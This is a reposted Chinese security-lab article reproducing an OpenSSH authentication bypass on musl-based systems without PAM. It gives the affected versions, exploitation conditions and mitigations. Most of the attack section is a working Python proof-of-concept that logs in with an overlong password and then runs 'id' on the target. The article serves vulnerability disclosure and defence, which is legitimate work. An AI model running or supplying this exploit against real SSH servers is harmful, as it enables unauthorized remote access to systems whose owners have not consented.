本文转载自微信公众号「弥天安全实验室」
原文标题:【成功复现】OpenSSH/musl密码认证绕过漏洞(CVE-2026-123158)
内容版权归原作者及原公众号所有,转载仅为传播资讯;若有侵权请联系管理员删除。
网安引领时代,弥天点亮未来
0x00写在前面
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
0x01漏洞介绍
OpenSSH OpenSSH是OpenSSH组织的一个安全管理连接的软件。
OpenSSH 10.6p2之前版本存在异常处理不当漏洞,该漏洞源于Linux上使用musl libc且无PAM时,未针对密码认证绕过提供变通方案,错误判断字符串是否为密码哈希,可能导致部分账户配置下256至1024字符之间的任意密码均可通过认证。
0x02影响版本
OpenSSH 10.6p2之前版本
利用条件:
1、网络可达。
2、sshd 运行于 musl libc 环境,且未启用 PAM,常见于 Alpine、OpenWrt、Buildroot、Yocto 及部分容器镜像。
3、 sshd 开启口令认证,即 PasswordAuthentication yes。
4、账号的口令锁定标记为 *,且系统中另有使用真实哈希的账号供 sshd 取盐。攻击者能够提交超过 256 字节的口令;公开分析给出的可触发区间为 257 至 1024 字节。
0x03漏洞复现
成功复现
poc
#!/usr/bin/env python3"""PoC educativo — CVE-2026-123158 ("sshole")Musl crypt() devuelve '*' para contraseñas de más de 256 bytes cuando la salalmacenada también es '*' (cuentas sin hash de contraseña real). OpenSSH sinPAM compara el resultado directamente con el campo shadow: '*' == '*' → loginaceptado sin conocer la contraseña real.Uso:python3 /home/exploit.py [HOST] [PORT] [USER] [LEN]Ejemplos:python3 /home/exploit.py # localhost:22, alice, 300 charspython3 /home/exploit.py 172.17.0.2 22 alice # desde fuera del contenedor"""import sysimport paramikodef try_login(host: str, port: int, user: str, password: str) -> bool:transport = paramiko.Transport((host, port))try:transport.connect()transport.auth_password(username=user, password=password)print(f"[+] longitud={len(password)}: ACCEPTED — login aceptado")chan = transport.open_session()chan.exec_command("id")out = chan.recv(4096).decode(errors="replace")print(f" >>> {out.strip()}")return Trueexcept paramiko.AuthenticationException:print(f"[-] longitud={len(password)}: rejected — login rechazado")return Falseexcept Exception as exc:print(f"[!] longitud={len(password)}: error — {exc}")return Falsefinally:transport.close()def main() -> None:host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"port = int(sys.argv[2]) if len(sys.argv) > 2 else 22user = sys.argv[3] if len(sys.argv) > 3 else "alice"length = int(sys.argv[4]) if len(sys.argv) > 4 else 300print("=" * 55)print(f" CVE-2026-123158 PoC — {user}@{host}:{port}")print("=" * 55)print("\n[*] Paso 1 — contraseña corta (control negativo):")try_login(host, port, user, "password-corta")print(f"\n[*] Paso 2 — contraseña de {length} caracteres (explotación):")ok = try_login(host, port, user, "A" * length)print()if ok:print("[!] VULNERABILIDAD CONFIRMADA: bypass de autenticación SSH exitoso")else:print("[-] Vulnerabilidad no reproducida en este entorno")if __name__ == "__main__":main()
0x0 4修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
临时缓解措施:【在不影响业务的情况下】
1、在/etc/ssh/sshd_config中设置PasswordAuthentication no并重启sshd,禁用SSH密码认证;
2、将PermitRootLogin设置为prohibit-password或no。
建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!
https://www.openssh.org/releasenotes.html#10.6p2https://github.com/leonjza/sshhole-labhttps://github.com/leonjza/sshhole-lab/blob/main/images/sshhole.png
弥天简介
学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。
口号 网安引领时代,弥天点亮未来
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
予以风动,
必降弥天之润!
弥 天
安全实验室
📰 相关阅读
— 阅读原文请访问微信公众号「弥天安全实验室」 · 原文链接 —
© 版权声明
THE END













暂无评论内容